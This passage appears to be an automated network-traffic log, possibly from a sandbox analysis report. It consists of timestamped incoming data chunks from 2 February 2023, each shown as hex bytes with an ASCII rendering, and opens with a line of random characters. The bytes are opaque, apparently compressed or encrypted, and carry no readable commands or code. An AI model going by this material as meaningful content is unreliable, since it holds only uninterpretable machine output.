9G*-zk\D[+2J/6962@MWixZmA;'4`,~2Y+"tUh]yln3R[!V{[Kkm;\:JHbv ~>[$q;?HPUv>yM&>$$i)}'IrbNhflPy`eRRw4Nx,tx
2023-02-02 07:09:15 UTC	211	IN	Data Raw: 86 06 b7 67 4d e9 f1 c2 ed 81 be 91 ae cc 4f f6 95 06 68 6b 4b 5f d1 5e bb 90 0c 72 7e e4 80 12 a5 a8 d6 61 19 44 5e 8f 8a 52 f9 21 c2 d6 07 aa 5f b5 2c f1 77 eb 8d c3 83 d8 d0 f5 e3 fb b4 5a 63 5e bd 1c f8 75 07 80 83 ab cf 28 b7 2e 43 7f f5 79 4b 7d 00 6f b1 40 5d 47 f4 c2 8a 04 60 ad 2c ab 56 b5 59 ad 7e ee a9 7e 2e 55 d7 6a d4 ef 77 e3 18 d8 0f 0f c9 3c 3f 68 df 07 79 80 0c cf 3c 7a f4 83 ed da 24 49 d2 f7 90 cc 0c bd 65 e4 fc cc ee eb 0c ba 38 26 a2 c5 28 78 c7 8a 7b 01 5f 2a a1 cc b6 16 5f df 26 94 4d fc 72 81 4e 02 65 26 7e e4 49 e5 97 c5 0b 18 b1 e0 15 cd 2f 97 a9 fd 0c d6 52 75 d6 91 d1 33 ed cb 2e ec 42 9f 4e 4e ff 71 28 d9 77 5e ff 31 83 0c 4e 67 87 f9 35 02 59 c6 ad 2e 6d 1b a5 01 cd af 05 0d a8 d0 48 8d 2f 5f d2 5a ca 82 87 bf 18 8b 5f ef 2c Data Ascii: gMOhkK_^r~aD^R!_,wZc^u(.CyK}o@]G`,VY~~.Ujw<?hy<z$Ie8&(x{_*_&MrNe&~I/Ru3.BNNq(w^1Ng5Y.mH/_Z_,
2023-02-02 07:09:15 UTC	219	IN	Data Raw: 08 72 ac 93 78 87 74 21 95 ae d2 6b 87 78 2f 38 3a a3 8f a8 fb 95 18 d3 8f a2 6c 36 78 00 f1 6e 09 e8 7d 51 1e 99 6f 57 b8 b1 5a 6f 13 ef 8f 13 75 2f 12 6d 39 e2 5d 79 8e 8c 6b 65 44 64 2e cf 3f 45 3b 83 c4 6f bb 44 b9 d3 c5 f7 6b c5 78 9f 13 e3 ac 14 6d be 27 8a ed 2b 7e 3b 21 53 86 5c 58 22 de f7 11 cf d7 8b 79 5f 2a 3e 87 8a b2 67 8b 4e 22 f0 14 13 9f f3 72 e1 0f 2e 18 69 f1 5b 63 f1 3c 54 d4 b9 43 f4 37 4e 7c af 16 7f 9b 89 ba bb c5 e7 57 f1 7c 93 a8 77 84 78 df 5e b4 d1 4c 8c 05 a6 5f 47 88 f6 07 8b 7e 97 89 77 df 88 77 7d 22 52 b7 78 b5 28 5f 21 ea 65 88 3a 08 fd c9 1b 76 b2 f8 31 a3 60 84 05 3d 04 e3 97 87 8b 0f 2b 45 04 57 fb 05 d1 0c be 3c 2a 9a b1 18 a7 fe 7b 10 b8 6f 8b da f6 37 f8 ef 65 d0 51 c3 0c 37 15 e6 3a ea 24 a0 13 8e bf d7 18 14 53 26 Data Ascii: rxt!kx/8:l6xn}QoWZou/m9]ykeDd.?E;oDkxm'+~;!S\X"y_>gN"r.i[c<TC7N\|W\|wx^L_G~ww}"Rx(_!e:v1`=+EW<{o7eQ7:$S&
2023-02-02 07:09:15 UTC	226	IN	Data Raw: 7a a7 fb be 78 52 19 f0 be 06 82 9f 62 b6 47 d5 fa 38 e0 e0 5a 99 ce 3b 35 05 a3 9d 40 b2 ac 85 ca 8e a3 31 4d 35 45 17 53 ca 76 03 11 2a 34 03 b7 c5 f8 af 44 b2 c4 8e b8 af cd c2 05 11 3a 5a f3 f4 be 8b 55 fd d6 93 ce d9 2f 11 f3 17 4f 2b 3b 3c 28 6b 43 dc c6 d8 dd 09 bf cb 5b 64 b9 6e 65 a3 c3 01 92 85 52 eb 59 8a f2 93 7a 18 65 db 2c ae 2d 1e b7 d1 89 3a 2c 2a 31 67 19 2f 7f c6 d2 1c fc da 7f 96 a4 e1 2c 14 6e 83 95 8d 76 e6 90 a0 32 5e 5d e3 cb 15 b7 d6 48 9a 37 18 61 25 fe 59 8d 2f 2f 7b b7 86 13 d9 a7 0c fc 9d bc 76 9f 07 ba 85 fc 48 02 e1 c3 32 4f c9 32 ec c7 b1 a0 21 bb b4 37 32 5b 94 f6 43 cf bc 6d 17 a0 93 b0 53 c6 04 db fd e1 5d ae 06 74 a9 e2 4f 48 aa 83 3f 31 8b dc 0d 50 6e 8f b3 b0 bc 07 d7 f8 38 10 32 23 1b ea 43 1b f7 61 c5 01 02 66 f3 43 Data Ascii: zxRbG8Z;5@1M5ESv4D:ZU/O+;<(kC[dneRYze,-:,1g/,nv2^]H7a%Y//{vH2O2!72[CmS]tOH?1Pn82#CafC
2023-02-02 07:09:15 UTC	234	IN	Data Raw: 4f a5 d5 be 8c 0a d7 92 53 3a 0d a5 ce 93 84 49 e7 00 24 c5 76 f2 4e 66 d9 5f 61 fe 05 92 56 62 c9 4d f8 ba ba c6 0d 84 a1 54 12 b1 57 59 85 91 db 9e a9 0a 2e 40 92 fa d7 b1 b0 1e a3 c4 7a c4 fb 23 72 57 91 df 10 19 cf 59 2a 34 e1 39 c9 0d a5 bb 35 62 38 33 f2 d6 e8 87 01 c6 aa 3d cb df 7d 92 9a 70 be 40 e7 43 c5 7d 1d 67 0e bc 2e 7e e7 64 3f 13 8c 32 c5 7d ff 0b 51 a6 32 a2 99 85 ce 25 20 48 36 77 09 5c 6c 74 54 de 50 e9 1f 10 c4 bf d2 0f 48 c8 99 44 6f 7a c9 5b ef e5 d7 63 12 b3 5b 58 8f b1 bf 16 56 06 80 d4 be a8 2a 08 b4 e4 28 26 57 d2 87 77 2b ce 84 4a 57 85 08 67 b1 23 d9 14 c3 a9 0d 4a 6a ea 6c f2 1b 1a e8 4e bd 4e c0 80 65 f9 0d 30 de 65 13 36 c0 93 16 62 5c ad a8 59 b1 3d c2 54 53 ca 50 9b a4 f1 e6 dd be 4a 1b 49 6e 22 e1 c0 ba f6 41 2f 8f 88 53 Data Ascii: OS:I$vNf_aVbMTWY.@z#rWY495b83=}p@C}g.~d?2}Q2% H6w\ltTPHDoz[c[XV(&Ww+JWg#JjlNNe0e6b\Y=TSPJIn"A/S
2023-02-02 07:09:15 UTC	242	IN	Data Raw: 52 56 9f 87 3e c5 a7 dc 76 1d b9 11 64 2e f4 b0 89 cc 8c a7 24 e0 79 12 34 68 d8 3a 1d c4 ca f9 08 3d aa 2c 70 49 f5 75 0e 95 f7 cf 8c 29 2a 51 1b 8c 29 27 9c f8 93 f1 d3 2f bf 8e 19 6b dc 34 72 c4 a8 80 10 2f bf e0 69 49 07 d5 b6 b4 c8 5a 49 ea c9 52 d0 6f 11 c5 fd d8 7b f6 52 6d 19 16 c8 08 68 42 b7 23 09 6b 98 dd 08 66 0e 8f e0 e8 c8 1c 81 85 10 74 1c 21 82 42 3a 19 49 8e 67 f8 94 3d c7 86 7e ff 20 a9 12 eb 79 23 ca 7d 54 a0 5b 53 41 eb 2c 4b 38 32 70 46 36 64 0d 70 01 93 ce 70 43 a3 54 4c ca e2 83 6c 25 93 38 bb cc c1 90 26 59 37 a0 f9 2e 90 6d c1 d4 91 43 8c 37 c7 4f 48 14 3e 25 2c 17 fd 55 f1 f7 6d db 0e b5 02 ba b7 f3 c2 30 79 63 79 7e 9d ee 88 ef d6 e0 ec 78 53 5d 8e f1 1a 50 5f 80 91 ca e0 fd b4 e1 dd 8c 14 a0 38 11 b5 02 52 ce 7e 21 c9 6d 21 43 Data Ascii: RV>vd.$y4h:=,pIu)*Q)'/k4r/iIZIRo{RmhB#kft!B:Ig=~ y#}T[SA,K82pF6dppCTLl%8&Y7.mC7OH>%,Um0ycy~xS]P_8R~!m!C
2023-02-02 07:09:15 UTC	250	IN	Data Raw: fd 35 8b 04 24 8d be ee f0 c8 02 e7 91 5f 30 3c 5c d5 e6 bd bf 34 41 f1 ca 6a ff c2 ac 2e fa c5 15 7f 9d f3 8b 97 92 84 dc c2 1c fb 4b 06 1d fb ec a4 f7 35 e3 b9 df bb 4d 69 4a 6d 99 dc 06 52 ed 75 8d c2 b4 f9 ed 28 78 12 98 3b 7e 16 b3 9e fa 42 48 d3 ad 8e 28 33 42 94 49 ae c4 fc 90 c4 c7 dc 24 5e 9b d7 02 0d 41 68 66 ae c7 57 90 74 ca 95 82 7c 33 a9 47 7f 76 37 c7 b2 9f a5 e5 15 33 86 c6 af 4e e2 d0 39 3f 37 02 19 c2 a3 67 fc 4c b1 c4 d7 c8 c8 42 30 6a 89 17 e6 49 51 c9 e1 18 aa 42 c1 28 14 45 bb 5d 97 95 05 a4 b1 65 8a f0 d3 5d f6 aa 99 61 0c c3 28 9c 7a f2 bf 8c da a9 a7 2e 69 72 8f 10 a3 fa e6 4f 24 c8 70 77 aa d5 01 4f 07 01 5e e7 01 17 92 05 e6 03 a2 50 2c af 78 ac 18 33 5d 6b b7 8a ef 66 0f 88 2a 87 b8 00 a3 08 5f 33 7f 72 19 e3 69 3f 49 7c cb 64 Data Ascii: 5$_0<\4Aj.K5MiJmRu(x;~BH(3BI$^AhfWt\|3Gv73N9?7gLB0jIQB(E]e]a(z.irO$pwO^P,x3]kf*_3ri?I\|d
2023-02-02 07:09:15 UTC	258	IN	Data Raw: 6f 3e 4d e6 69 16 ec 95 a8 b1 3f dc a7 15 9b 0f 64 46 4c 9d c1 ca f5 13 c1 5b 1e 84 1b 32 ae 08 59 ec b6 ad a9 68 7a 19 98 19 65 87 91 ff 56 19 33 3e 25 69 85 c2 ca b8 e0 ea 61 db 4e 03 99 27 f8 9c 50 35 9a 55 ee a5 37 58 1f 42 28 81 f4 21 09 39 1e ab 2b 46 33 a1 1d 49 22 59 1d 42 82 d8 fb ea 5d 27 92 45 e8 81 86 9b bc c1 a1 a7 09 8d d9 39 28 5c 39 51 3c a1 fc 0d 58 ab b0 bd 46 b8 64 8f 70 de 98 47 7a 97 64 3e 33 7e 04 42 30 7e 91 64 86 9e 8d d2 1f ae 60 20 dd 0d 41 9a 99 e5 b4 d9 3e 3c 36 d1 d8 58 b2 b5 03 b1 25 2f 10 03 82 6d cb 8e a8 8c a3 01 1e 09 24 ca af d0 99 69 32 2f d8 59 21 e9 17 b6 4e 94 69 23 3a 18 1c 42 9a 3e 51 5e fc b6 9f f8 fb 9a 26 63 72 54 8a 77 57 89 cf 70 f1 db 7b d0 8d 4d 01 d3 51 e0 50 bd b6 5f f8 95 c4 1a f1 c9 4c 94 24 3a 89 ff d9 Data Ascii: o>Mi?dFL[2YhzeV3>%iaN'P5U7XB(!9+F3I"YB]'E9(\9Q<XFdpGzd>3~B0~d` A><6X%/m$i2/Y!Ni#:B>Q^&crTwWp{MQP_L$:
2023-02-02 07:09:15 UTC	265	IN	Data Raw: 5f 84 2a 86 08 ce ab 77 8a 44 8b 6b cd d7 35 14 ee 1d d1 4e 13 9d bf ab 6b 31 db 7c 43 77 e6 ac 4b 59 45 ca 5e 77 08 88 10 7a 0e 30 80 1d 14 7c 0b 61 34 86 80 57 e6 df b0 de 2f df d1 e1 b2 42 d5 f7 8a 2e ea 27 d2 ec 7b 05 f2 7d ab e6 18 e9 40 b9 17 0b e9 1c b2 77 e0 9b 9a a6 66 cb 23 67 e4 0b a9 3e 89 3e 90 a3 4d a7 9b 5f 81 e2 8b 39 ae 8f 02 01 05 3e 0a c4 77 2b 80 83 15 53 b2 37 9f b1 ae 28 73 99 57 10 f2 31 ca e4 a5 5d 0b f3 b4 34 2e 1b eb 31 08 26 39 eb 57 2c 57 f8 48 da d2 73 82 aa 98 36 de b8 21 a4 85 8e 2b b4 93 d4 69 09 58 cc 91 68 e5 a1 fa c0 b5 e9 6e 2d 13 14 66 51 3d d6 a6 84 9e 9b 88 51 96 11 1f 0f 40 68 3c 3e 1e 96 d0 21 c9 48 96 68 eb c0 5f d4 3c a2 43 d2 5d 65 d2 9d 91 ea 97 34 47 f6 82 ab 46 8f 56 bf ec ad b6 82 49 32 da ca d7 48 d2 60 77 Data Ascii: _*wDk5Nk1\|CwKYE^wz0\|a4W/B.'{}@wf#g>>M_9>w+S7(sW1]4.1&9W,WHs6!+iXhn-fQ=Q@h<>!Hh_<C]e4GFVI2H`w
2023-02-02 07:09:15 UTC	273	IN	Data Raw: af 9e 29 c5 a3 88 61 23 6f ca 46 cf 60 ad e6 de 8f 6c c4 1c 16 4d 3c d1 20 73 e3 c8 71 81 0a 29 6c c8 76 b0 b5 ca 7b 92 d1 2e ab b6 d0 c2 7b 60 1c ce d9 46 92 c9 36 f1 44 f1 1c 7e c5 56 32 07 f5 19 2f 47 fb 88 ba 75 3c c7 ba ea ed 1b 6b c4 1d 29 f7 d9 cf 07 3d 27 c1 a7 ce 50 85 25 c5 97 59 ae 11 cb 62 7f 7a 3c 33 54 17 02 dd ea 08 46 ea 2e dd 84 86 03 13 36 14 b1 97 4d 82 1e af d0 e3 15 99 17 ea bf 83 a0 76 39 71 85 03 41 22 73 65 2f cc ac ae 35 f6 40 c2 1c 94 5b 18 2c 24 c6 b1 c9 c9 38 3e 4f 32 0f 88 fa 3d 3d 31 ab ea 1f 9a 72 46 8d d8 05 78 36 fc ca 6a bc a3 0f 7f ae 5d 5f 04 c8 11 a6 95 8f 7f 63 5d e2 59 4e c4 7c c1 fa 12 49 11 60 11 1e 11 dd d8 b0 b4 4f 68 c6 37 52 d5 c9 cd b8 5f 4c 67 b5 d4 8f 32 59 f3 ce 73 63 0d 9c 70 34 b4 2f 64 61 1f 73 b7 44 31 Data Ascii: )a#oF`lM< sq)lv{.{`F6D~V2/Gu<k)='P%Ybz<3TF.6Mv9qA"se/5@[,$8>O2==1rFx6j]_c]YN\|I`Oh7R_Lg2Yscp4/dasD1
2023-02-02 07:09:15 UTC	281	IN	Data Raw: e8 c0 d6 31 c8 44 71 7f 21 89 47 25 71 05 01 ba f1 32 fc 29 4d de b1 dd d0 87 cf 6a 75 c0 42 7e 0e 77 b6 10 eb 71 c6 52 f9 5e ec d9 c4 94 1c ca b6 51 8a f5 df fd eb 8c 13 eb a3 8e c8 f4 d7 5b a6 07 3b b7 c9 f4 82 69 26 13 9c f9 3c a9 84 80 93 26 b7 90 dd 33 35 d5 90 de 6d 4a 35 51 a8 90 e9 0f c8 be 24 99 0d 11 cf 0d c1 db 6b d8 10 25 d4 0f 87 cf ff c4 86 e8 9e fd c8 e9 73 ec 72 7a 07 43 4e 07 ff 2e 9b 2b 64 f3 fb 70 7f af b8 9f 87 fb fb 9d 72 fa e6 c3 68 43 b4 b1 4e b9 d8 b4 6b 36 c3 da b2 5d 73 72 69 f1 cd 9a 3b a1 c9 94 c6 2b 4c a1 f2 00 ce 67 36 ec 87 10 00 0d 85 ec 36 80 e0 6d bc 2c d6 96 e4 f6 dc a2 38 e4 c7 c7 e4 9a 8d 0b 12 8a 62 17 89 8b 23 14 87 a9 10 b4 d5 91 1a ee 6b 36 f9 f1 74 c5 2e 3f d2 c4 1d 72 16 f0 ac 5c c1 5a 2a 64 3b 24 bc bb b7 44 42 Data Ascii: 1Dq!G%q2)MjuB~wqR^Q[;i&<&35mJ5Q$k%srzCN.+dprhCNk6]sri;+Lg66m,8b#k6t.?r\Z*d;$DB
2023-02-02 07:09:15 UTC	289	IN	Data Raw: 36 ca e1 59 58 9c 4f b0 4c 5c cb 1b 29 cd a8 1f 9f bc 50 51 be c5 78 1d 09 9b f6 cc ce e6 b6 4f 67 a5 ef bd d4 a7 3d 8e 57 94 8e 34 fe de 3b 99 12 89 29 2f a7 f5 51 87 16 8a 72 31 15 f8 03 a5 bd 47 eb 2f 1c 70 99 4b ef 4e 20 91 e9 a4 de 8a b2 91 e4 fc 6c 62 7e 1e 22 be 2c fa be 8c 88 ac 3d 35 6d 0f cd cc ab 88 a9 5e 40 2b f4 cf a8 5d 1b 88 24 ef a6 6f 37 d3 fb 3b 89 bf ae 27 dc 3c 47 c2 6e 77 e2 e8 99 b4 f0 69 44 e3 38 af 95 a2 f4 21 ce fa 1b 89 a4 57 52 bd 57 d2 68 5f 4e b4 e5 27 92 b9 89 f2 17 d2 cc dd 83 06 df 51 dd 88 85 9d a9 28 9d 89 0e ee 22 3a 6b 45 f9 ae a7 ef 2e 8f 10 fb 22 c9 e2 79 7a 7e 9f ea 5d 42 b0 35 a5 e7 1b e8 9b 16 04 6f 87 a3 89 cf 13 cc 6f 13 0c d3 88 d9 7c 4f 6d 0e 53 fd 97 52 af 8f a5 3a 7b d0 f5 58 67 45 59 dc 5a 51 ce a0 b6 ba 09 Data Ascii: 6YXOL\)PQxOg=W4;)/Qr1G/pKN lb~",=5m^@+]$o7;'<GnwiD8!WRWh_N'Q(":kE."yz~]B5oo\|OmSR:{XgEYZQ
2023-02-02 07:09:15 UTC	297	IN	Data Raw: 8c 0e 14 bf fe 13 df 47 bc 63 4e 91 a8 99 5b 64 94 22 fd df 31 76 0f 71 5d b8 89 29 fc 02 0a 77 78 47 6d 33 86 cb 2a 97 87 99 8a 28 8d 59 b2 8a 58 c8 63 71 cb c8 85 d1 31 c8 bf f3 6d 35 30 0b 64 cd 0f 7d c7 53 f8 b8 19 1f 8b 65 1a 2c 56 e7 a1 1f bd 1d 4e 5f 6a ad 88 e9 eb 22 e4 7b 4e be 73 89 c4 2d aa 5a bc fc a1 67 da 3b 24 31 78 15 56 f9 07 22 ef 0d 6f 1b 09 d0 0c 12 60 31 e7 bf b7 5d 9d 3c 4e f7 f4 fa b0 8d 21 e9 a0 b7 4d 6f f4 47 7d fd bc 70 df ae a6 cb b7 90 d0 43 c3 69 60 a8 01 cf bb 41 ee db e1 ba 97 da 6c 15 bf 5d 50 fb 73 09 d5 e6 f6 00 70 42 b4 cc c8 99 ad 4b cc e6 eb 13 79 a4 68 e2 ac ae da 87 38 ea c1 ab 00 30 40 8d 88 93 0b 87 8c 2b e3 c1 4d c2 56 61 14 7a e9 8e 25 7a 9e 7e 9a fa 0f 79 f5 73 0b b0 2c 18 88 e4 8b 96 e8 35 eb cb c8 d3 11 79 46 Data Ascii: GcN[d"1vq])wxGm3*(YXcq1m50d}Se,VN_j"{Ns-Zg;$1xV"o`1]<N!MoG}pCi`Al]PspBKyh80@+MVaz%z~ys,5yF
2023-02-02 07:09:15 UTC	304	IN	Data Raw: 17 ca 30 85 68 76 38 f0 97 b0 7f 9b 18 fe 3a cc 00 2b 21 30 f6 65 b1 ce d7 d0 e4 eb 60 f8 39 9d f9 18 53 e2 8f 9d 61 3d cd 4d 3d b4 8b fe 0c 77 b6 e9 99 b3 bf 91 af 03 75 c7 2e de 99 02 9c 71 e5 e6 69 60 34 e5 73 bd ea 56 98 1e bc 6e 27 bd 5e 20 fb 64 0d 86 66 2d 67 3b 32 83 77 74 87 01 05 f8 71 a5 6f 2d 85 42 5b dd 87 07 49 62 70 20 7c 34 d1 8f 74 ef 9d 09 a3 1b 18 f1 6e 62 c1 4e 2b e5 e8 19 39 1b 1f 32 f3 fa 60 0f a1 ec 74 7f fb 77 75 18 2c aa 89 19 5a 37 19 52 ad fb 37 d0 85 1d 7c f0 e1 bf 31 b3 44 b2 d4 79 ff 62 14 73 bd 47 0b 87 d1 af c2 c3 48 a0 19 e5 e5 66 6e 38 5a 53 ee 9a 7f 87 14 52 a6 50 0d b5 c9 05 eb 3a 8f 75 f1 72 de 48 9d 8f f7 2d 68 d2 d8 47 51 b2 8f 91 3a 07 33 3b 23 4a ec fd 6f 47 ea 24 b8 1b c1 4d 83 a0 a5 86 d6 c6 74 32 dc 61 06 7f c1 Data Ascii: 0hv8:+!0e`9Sa=M=wu.qi`4sVn'^ df-g;2wtqo-B[Ibp \|4tnbN+92`twu,Z7R7\|1DybsGHfn8ZSRP:urH-hGQ:3;#JoG$Mt2a
2023-02-02 07:09:15 UTC	312	IN	Data Raw: 27 45 bf ec f5 c7 3a a0 9f c0 85 55 32 7c 6b c1 72 06 16 54 d0 ac 62 4c c2 aa 02 3b 6a 1c cd c3 ef 08 0e 57 61 b2 03 2f 00 74 79 87 83 d1 3c e9 3b 76 f6 93 18 f6 0e a3 36 50 9c 48 8c 6e ab 36 03 f8 3a f4 03 ac eb 54 5f b1 3b 27 5a 41 7e 0e 44 4d 83 e2 7e 23 e2 34 5e 21 f3 9e 4c 89 7a 76 89 9f 56 02 b9 90 69 28 13 af 36 83 7b af a4 da 43 89 53 c0 a2 02 b0 ef 88 91 82 28 0f e7 9b 65 78 c1 ae 2a 33 7c 38 08 7f a6 ec e0 51 fe a1 f7 54 87 d7 17 82 4f 21 93 be 34 93 0e 9b f2 6e 95 c1 f5 95 2a 74 95 17 fc 59 c5 4a 32 8b af 18 d1 ce 4f 1f d2 b6 4c f6 dd a3 51 1d e7 83 3b 91 9a 49 d0 47 c0 4c 4a f1 e4 15 f2 35 3f 3c ee 54 8d b9 a0 ca dc e5 1a 5d 65 1a 1c 74 45 f5 94 6f c7 92 79 4b 39 14 2c 3e 07 54 19 83 be ee cc 10 7f 0b 14 86 b0 ab 65 ce 49 f5 4b 1d af af 5f 6a Data Ascii: 'E:U2\|krTbL;jWa/ty<;v6PHn6:T_;'ZA~DM~#4^!LzvVi(6{CS(ex3\|8QTO!4ntYJ2OLQ;IGLJ5?<T]etEoyK9,>TeIK_j
2023-02-02 07:09:15 UTC	320	IN	Data Raw: f4 77 ae 45 0c 0b 24 6d ca c1 b8 3c f0 57 22 4b a0 dd 6f c5 b5 12 6d 23 df 3e c7 68 49 96 78 0d 73 5c 28 a3 a9 5a 64 e9 ae cc 0a 7c 12 3c 60 80 ed 19 ef 38 ea 86 71 65 85 7e f6 6a 66 a6 95 94 7f 5e 33 9d 46 9f 5e 15 8d 78 46 d1 f1 6d 15 09 72 d6 cc e0 a8 51 1c bf d0 df 32 aa 7a de a6 83 2b 2a 39 6f be 2b 01 d2 40 80 02 9a 55 ec b8 50 c8 22 76 b4 f4 5e e8 64 21 8d e0 09 71 43 0d 43 94 8b 21 e2 60 bf 4c 5c d9 70 b7 cf 34 69 19 9d e7 ae c8 f5 e3 3b bc de 97 61 ee 70 7d 76 05 f7 33 a6 07 00 6f d1 12 7c 9f 23 4b 96 b5 57 c4 b8 ba 7b a1 64 3d ee 8c e0 9d be 31 28 2a d4 14 d4 f0 8c c5 bc 53 de 02 d0 06 9d c6 1f ca e1 55 92 af 47 2d 29 a1 af 72 45 2e 94 a5 0d b0 3c af 9e 99 7f c3 08 98 14 0b e7 c5 cb a8 ca f7 e5 fc 78 39 82 8f 2a 33 d7 e6 92 a5 b7 5f 96 c1 c2 6b Data Ascii: wE$m<W"Kom#>hIxs\(Zd\|<`8qe~jf^3F^xFmrQ2z+9o+@UP"v^d!qCC!`L\p4i;ap}v3o\|#KW{d=1(SUG-)rE.<x9*3_k
2023-02-02 07:09:15 UTC	328	IN	Data Raw: 74 72 b2 cc 0f 27 e3 e5 6f 2e 8e 90 bb 4d ef 11 20 30 47 84 0d e2 78 e9 2c 0d 35 8f 9c 2c 22 e8 45 8c 5f 0c 24 bd 3d 06 de 94 06 9e 5e 82 51 60 d4 8d 7d 3e db cf 9e c0 df 8c 33 27 f0 ad 74 d7 44 2e 3e 39 5f 90 05 0f b3 05 f3 53 ff 47 f2 3f 23 7b a3 42 f6 47 ec 36 0a f8 0c 30 f1 6f 6d 9e 2d bc b2 b0 c1 c5 94 48 f4 89 fa 40 6e 28 5d 51 20 cd 61 e5 c3 07 26 d0 ce 77 45 f4 93 cb 0c 62 ac a8 9b dc 12 1b b5 87 9a 05 04 05 d9 67 2c 56 ae 92 5e 32 42 a6 b2 80 5b 15 79 12 c0 52 93 34 61 3e 0b 43 4b 40 6b 88 84 c9 ca 54 66 68 d7 ab de 8e 48 94 f0 90 c4 e5 e2 dc fb 64 e9 3b 90 18 0b 0f 54 18 7b 55 2c a6 96 81 94 91 63 6e 23 65 24 8b 8c 47 0c 19 99 cc ff 53 25 0b 92 cf 4a cc 54 70 a0 b0 75 a6 11 8a f5 bf 24 6b 5c e2 10 71 57 3b bc 5d 8f 9a dc 04 d5 89 e4 4b 5e 75 5b Data Ascii: tr'o.M 0Gx,5,"E_$=^Q`}>3'tD.>9_SG?#{BG60om-H@n(]Q a&wEbg,V^2B[yR4a>CK@kTfhHd;T{U,cn#e$GS%JTpu$k\qW;]K^u[
2023-02-02 07:09:15 UTC	336	IN	Data Raw: 6f 2b 32 50 86 90 fe 5d 92 60 7d 95 e0 1c 4c 3a d3 27 15 44 1b 80 7b 08 51 10 9f 65 48 59 aa 46 e5 db 93 b1 f5 6b 4d d1 df 0d 32 0e ea 11 1e 52 68 3c e3 c8 20 a8 49 06 cc 9b f4 fd 39 e2 dc 2e a4 57 4e 20 e3 bf 34 19 29 f3 c9 00 68 44 7f bb 69 5c 03 09 77 cd a8 bd 04 fa 7b b4 9a 68 67 2d 09 8c 12 64 08 ce 22 d8 cf 91 52 5f 8c ea 6c 86 63 8f ea 63 e6 5d a0 b6 72 91 a1 76 82 8c bb f3 54 bf 1f c1 f6 2a 29 70 05 69 31 b8 44 86 d6 61 1a f7 68 c2 cd 0d 6a bf 14 19 ac af 5e cf cc dc de 59 8c a1 2e 71 4e 6f 32 f8 66 90 41 d4 e3 09 f1 ac 17 95 99 4d 86 c8 4c c2 2b e8 77 89 0c 99 2a 01 01 cb f7 04 cb 33 64 c0 d5 a0 71 9f 81 f3 88 70 b5 9b b4 8f e6 54 a7 e1 63 a2 fe 4f f4 fe 4d 7a d6 8b f0 fe 19 19 95 cb 08 7f cf d2 e7 0f 57 05 ae 06 13 ae fa d2 58 6e 50 1f e3 c9 a8 Data Ascii: o+2P]`}L:'D{QeHYFkM2Rh< I9.WN 4)hDi\w{hg-d"R_lcc]rvT)pi1Dahj^Y.qNo2fAML+w3dqpTcOMzWXnP
2023-02-02 07:09:15 UTC	344	IN	Data Raw: ab c0 7c 3f f4 9f 68 ee 61 7a a0 67 e2 94 5c 7b b9 a4 e8 5c 9e 8f 1a 54 99 e2 8e b1 31 92 16 b9 b9 30 67 9e d2 a6 64 ca 44 42 e3 30 f5 5f e4 f5 6f f2 bf dd c7 2b c6 f1 af 93 6d 36 cd 6b 78 bf ce 6e d3 70 90 7f 1f 2a 17 d7 27 0e 74 d3 82 23 79 ff db 05 80 de d0 12 12 f3 e9 27 dc 42 cd 4c 89 fa e4 86 7f 0b f9 69 f4 ff f3 24 16 12 eb e1 a8 65 33 e3 d8 24 f6 6f d6 45 9a be df 51 62 17 3d d0 ab ad a0 f7 0f 4b 69 fa d1 24 19 10 bf 18 af 13 e1 82 e6 bc 49 53 27 b9 ad 64 0f 14 75 ec 28 ea 5d a8 c1 b4 92 c8 5e 7a 6b 70 35 da e9 30 29 c6 ec b7 bd c6 63 c6 55 e4 43 f6 82 25 ca 4d 92 82 a0 28 a0 8f 33 0d 06 3e a3 9a 7d 52 24 a2 7a 19 5e cc 82 72 9e 7c 3f 51 fa bd 8e 4e 74 17 26 75 39 fe 67 a2 88 ae d9 a7 fc 9f 5c f3 32 fb 3f 27 2a 71 97 6c c9 29 3d 12 35 df a4 97 fa Data Ascii: \|?hazg\{\T10gdDB0_o+m6kxnp't#y'BLi$e3$oEQb=Ki$IS'du(]^zkp50)cUC%M(3>}R$z^r\|?QNt&u9g\2?'ql)=5
2023-02-02 07:09:15 UTC	351	IN	Data Raw: 0a 8c 50 a4 23 d4 5f 3f 77 1c 58 05 a9 93 61 2a dc d3 98 bd cc 9b f5 2f 06 18 5e a2 e2 3d 9e ca 9f 8d f0 ed 00 df 71 90 3b 60 d7 a5 b8 ab 57 c6 82 4f 9d 81 7d 02 36 b2 e9 e7 9c 67 1f 94 7a 20 86 b0 22 07 61 98 6b 4c 86 b9 7b 60 7c 29 74 ed 4c d7 49 9b 27 7a 97 e2 7c 50 e8 9b 47 5f 22 10 29 f7 16 12 c0 92 83 a8 2f e5 1d 92 fd 15 e2 38 5e 7e 7c 80 d6 73 53 5a cf 38 c6 3c a7 f0 e2 a1 74 ec c3 95 42 0f e8 64 e9 a2 21 c7 b8 e6 5e 01 73 c1 96 30 14 91 47 ee 07 cc 63 bd d3 74 20 20 43 0e 18 fc 53 15 dd e6 a1 cb d4 06 d3 e1 39 39 cd 20 1d 1a 2b 4c 03 22 77 37 74 c3 78 3a 50 b4 df 0b 14 c1 c3 79 58 23 19 7d c8 ae 2c 5c b3 9f 44 1f b3 4d a2 e5 fb cd 78 f9 2c 38 e5 d6 70 e1 65 07 23 45 bb 1b 4c f1 f4 92 03 ac 3a 5c 72 20 37 e1 76 81 68 a0 40 e1 a7 90 f1 c8 ab 43 9c Data Ascii: P#_?wXa*/^=q;`WO}6gz "akL{`\|)tLI'z\|PG_")/8^~\|sSZ8<tBd!^s0Gct CS99 +L"w7tx:PyX#},\DMx,8pe#EL:\r 7vh@C
2023-02-02 07:09:15 UTC	359	IN	Data Raw: da 0f 0f 0c 86 31 d8 89 db 69 da e0 30 c8 e0 1a 63 ff df 3b cc 16 86 2d ea a3 f3 0b 04 36 6f 71 db fe 47 f0 d3 e7 b5 ee 01 34 ef ec 88 9a f0 2c 1c cc 90 6e ac 7c 1a 45 f0 34 81 c7 20 c5 7c 48 01 8b 02 9d 19 3b 3c 8b b2 7a 4d 3c e0 9e c8 81 c9 ae c5 64 70 fe 87 33 1a 92 4d 2a 73 4f d0 46 78 a8 77 aa c1 80 1d d1 86 07 2e a4 3e 3c ea b8 1d 6e 63 b9 ca 78 36 cf 00 90 b1 03 6e dc 66 e2 55 5e 6d 86 99 77 cb 5d 7d bc 06 a5 ff 98 4e fc db 3f 40 82 10 f7 c4 5a 3d 4d 42 0f fb b3 7f 8c 47 01 87 40 06 27 5e 8d 33 32 67 38 dc 57 57 c0 dd 79 25 74 af 17 61 10 bc cd ad b3 07 55 a2 8c 56 34 8e e1 dc f1 4f d4 fc a9 